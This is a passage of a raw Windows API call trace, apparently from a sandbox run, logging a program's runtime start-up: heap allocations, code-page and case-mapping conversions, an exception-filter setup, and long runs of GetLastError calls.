RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x54) returned 0x2a27b8 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x52) returned 0x2a2818 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2a) returned 0x2a2878 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x3c) returned 0x2a28b0 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x54) returned 0x2a28f8 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x24) returned 0x2a2958 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x30) returned 0x2a2988 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x8c) returned 0x2a29c0 [0069.795] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a11f8 | out: hHeap=0x2a0000) returned 1 [0069.797] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x80) returned 0x2a2a58 [0069.797] GetLastError () returned 0x0 [0069.797] SetLastError (dwErrCode=0x0) [0069.797] GetLastError () returned 0x0 [0069.798] SetLastError (dwErrCode=0x0) [0069.798] GetLastError () returned 0x0 [0069.798] SetLastError (dwErrCode=0x0) [0069.798] GetACP () returned 0x4e4 [0069.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x220) returned 0x2a2ae0 [0069.798] GetLastError () returned 0x0 [0069.798] SetLastError (dwErrCode=0x0) [0069.798] IsValidCodePage (CodePage=0x4e4) returned 1 [0069.798] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0069.798] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0069.798] GetLastError () returned 0x0 [0069.798] SetLastError (dwErrCode=0x0) [0069.798] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0069.798] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0069.798] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0069.798] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0069.798] GetLastError () returned 0x0 [0069.799] SetLastError (dwErrCode=0x0) [0069.799] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0069.799] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0069.799] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ˰抯娊@Ā") returned 256 [0069.799] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ˰抯娊@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0069.799] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ˰抯娊@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0069.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x9e\x1dò^\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0069.799] GetLastError () returned 0x0 [0069.799] SetLastError (dwErrCode=0x0) [0069.799] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0069.799] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ˰抯娊@Ā") returned 256 [0069.799] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ˰抯娊@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0069.799] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ˰抯娊@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0069.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x9e\x1dò^\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0069.799] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402a4d) returned 0x0 [0069.800] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2a2a58) returned 0x80 [0069.801] lstrlenW (lpString="") returned 0 [0069.801] GetLastError () returned 0x0 [0069.801] GetLastError () returned 0x0 [0069.801] GetLastError () returned 0x0 [0069.801] GetLastError () returned 0x0 [0069.801] GetLastError () returned 0x0 [0069.801] GetLastError () returned 0x0 [0069.801] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.802] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.803] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.804] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.805] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.806] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.807] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.808] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.809] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 0x0 [0069.810] GetLastError () returned 